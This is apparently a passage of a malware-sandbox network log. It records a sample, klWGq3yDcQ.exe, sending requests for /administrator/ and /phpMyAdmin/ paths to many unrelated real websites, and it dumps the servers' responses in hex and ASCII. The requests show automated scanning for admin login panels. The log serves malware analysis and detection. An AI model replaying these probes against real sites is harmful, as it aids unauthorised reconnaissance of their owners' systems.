Nov 26, 2023 06:59:31.726258039 CET	453	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache X-Powered-By: PHP/7.4.15 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress X-Frame-Options: SAMEORIGIN Location: https://micro-design.com/administrator/ Cache-Control: s-maxage=10 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	55725	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.391825914 CET	236	OUT	GET /administrator/ HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.657351971 CET	280	IN	HTTP/1.1 409 Conflict Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache Content-Length: 83 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>
Nov 26, 2023 06:59:31.657999039 CET	296	OUT	GET /administrator/index.php HTTP/1.1 Host: lumaruniformes.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://lumaruniformes.com/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	55665	185.54.192.125	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.391829967 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.564223051 CET	594	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://talentius.com/administrator/ Content-Length: 323 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://talentius.com/administrator/">here</a>.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at talentius.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	55596	35.214.252.247	80

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.391829014 CET	238	OUT	GET /administrator/ HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.575455904 CET	611	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding SG-Captcha: challenge Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store,no-cache,max-age=0 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 61 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 25 8e cb 0e c2 20 14 44 7f 85 90 e8 ae 3c b4 91 be a8 3b ff 83 d0 ab 90 52 5a e9 ad 8d 7f 2f ea 62 32 99 cc 24 67 3a 87 53 e8 3b 07 66 e8 bb e0 e3 48 12 04 4d bd 9d 23 25 2e c1 5d d3 c1 a0 69 5a da 77 13 a0 21 0e 71 29 e0 b9 f9 97 a6 b9 4e b0 3a 4a f2 1a 21 a2 a6 a2 e5 6c 87 10 8a 31 ce 7b e4 eb c3 9a 05 ad 33 fc 9a f4 e1 74 33 c3 e4 a3 5f 31 19 9c 53 ce c7 b7 be 6f b6 a9 6a 26 cb ac 8a 5d 44 23 95 10 b5 aa ce 4a b2 52 c9 8c e5 5f 6e b6 ff 47 fe 3b fc 01 c4 da 2a c2 b7 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ab% D<;RZ/b2$g:S;fHM#%.]iZw!q)N:J!l1{3t3_1Soj&]D#JR_nG;*0
Nov 26, 2023 06:59:31.576962948 CET	300	OUT	GET /administrator/index.php HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://locandafrancigena.it/administrator/
Nov 26, 2023 06:59:31.759979963 CET	617	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding SG-Captcha: challenge Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store,no-cache,max-age=0 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 62 31 0d 0a 1f 8b 08 00 00 00 00 00 04 03 25 8e cb 0e c2 20 14 44 7f 85 90 e8 ae d0 fa e8 13 ea ce ff 20 70 15 52 4a 2b bd b5 fa f7 a2 2e 26 93 c9 4c 32 47 58 1c 7d 2f 2c 28 d3 0b ef c2 40 22 78 49 9d 9e 02 25 36 c2 4d 52 a3 50 b5 1d ed c5 08 a8 88 45 9c 33 78 ac ee 29 69 aa 23 2c 96 92 b4 46 08 28 69 de 71 b6 81 f7 d9 10 a6 2d f0 e5 ae d5 8c da 2a 7e 89 72 77 b8 2a 33 ba e0 16 8c 0a a7 98 b2 0b 06 5e 6c b6 f3 fe 2d 6f ab 6e eb 86 15 a7 a4 9a 95 79 5b 54 79 de 54 f5 b1 2a 58 79 2e d3 3f ff 02 24 fb c3 f2 1f f9 07 00 88 d2 29 c0 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b1% D pRJ+.&L2GX}/,(@"xI%6MRPE3x)i#,F(iq-~rw3^l-ony[TyT*Xy.?$)0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	55640	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.392080069 CET	236	OUT	GET /administrator/ HTTP/1.1 Host: awb-apparatebau.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.591197968 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Nov 26, 2023 06:59:31.596812010 CET	296	OUT	GET /administrator/index.php HTTP/1.1 Host: awb-apparatebau.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://awb-apparatebau.de/administrator/
Nov 26, 2023 06:59:31.793929100 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	55664	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.392272949 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.588054895 CET	157	IN	HTTP/1.1 301 Moved Permanently content-length: 0 location: https://www.maxiv.lu.se/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	55862	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.392283916 CET	225	OUT	GET /phpmyadmin/ HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.518424034 CET	623	IN	HTTP/1.1 301 Moved Permanently Connection: keep-alive Content-Length: 162 Content-Type: text/html Location: https://avient.com/phpmyadmin/ Server: nginx X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c446c8c-bdjmn X-Styx-Req-Id: 56bb24ea-8b6e-11ee-89c5-1a890f82dc29 Cache-Control: public, max-age=86400 Date: Sun, 26 Nov 2023 05:59:31 GMT X-Served-By: cache-chi-kigq8000168-CHI, cache-lga21920-LGA X-Cache: HIT, MISS X-Cache-Hits: 1, 0 X-Timer: S1700978371.434056,VS0,VE25 Vary: Cookie, Cookie Age: 76720 Accept-Ranges: bytes Via: 1.1 varnish, 1.1 varnish
Nov 26, 2023 06:59:31.518435955 CET	216	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	55639	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.392283916 CET	229	OUT	GET /administrator/ HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.594032049 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Nov 26, 2023 06:59:31.597258091 CET	282	OUT	GET /administrator/index.php HTTP/1.1 Host: kappablu.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://kappablu.de/administrator/
Nov 26, 2023 06:59:31.797049999 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	55649	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.392446995 CET	228	OUT	GET /administrator/ HTTP/1.1 Host: bunasta.eu Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.593775988 CET	585	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:31 GMT Server: Apache/2.4.38 (Debian) Location: https://bunasta.eu/administrator/ Content-Length: 317 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 75 6e 61 73 74 61 2e 65 75 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://bunasta.eu/administrator/">here</a>.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	55907	3.234.162.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.394448996 CET	224	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: t1eng.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.488738060 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Sun, 26 Nov 2023 05:59:31 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://
Nov 26, 2023 06:59:31.488754034 CET	281	IN	Data Raw: 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 Data Ascii: www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	55879	35.237.190.156	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.394725084 CET	229	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: krkconcord.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.660938978 CET	447	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=20 Expires: Sun, 26 Nov 2023 06:59:31 GMT Cache-Control: max-age=3600 X-Redirect-By: redirection Location: https://kidsrkids.com/concord/phpMyAdmin/ X-Powered-By: WP Engine X-Pass-Why: custom-path

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	55568	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:31.417962074 CET	231	OUT	GET /administrator/ HTTP/1.1 Host: srmist.edu.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:31.707716942 CET	1340	IN	HTTP/1.1 405 Not Allowed Server: awselb/2.0 Date: Sun, 26 Nov 2023 05:59:31 GMT Content-Length: 2051 Connection: keep-alive x-amzn-waf-action: captcha Cache-Control: no-store, max-age=0 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 75 6d 61 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 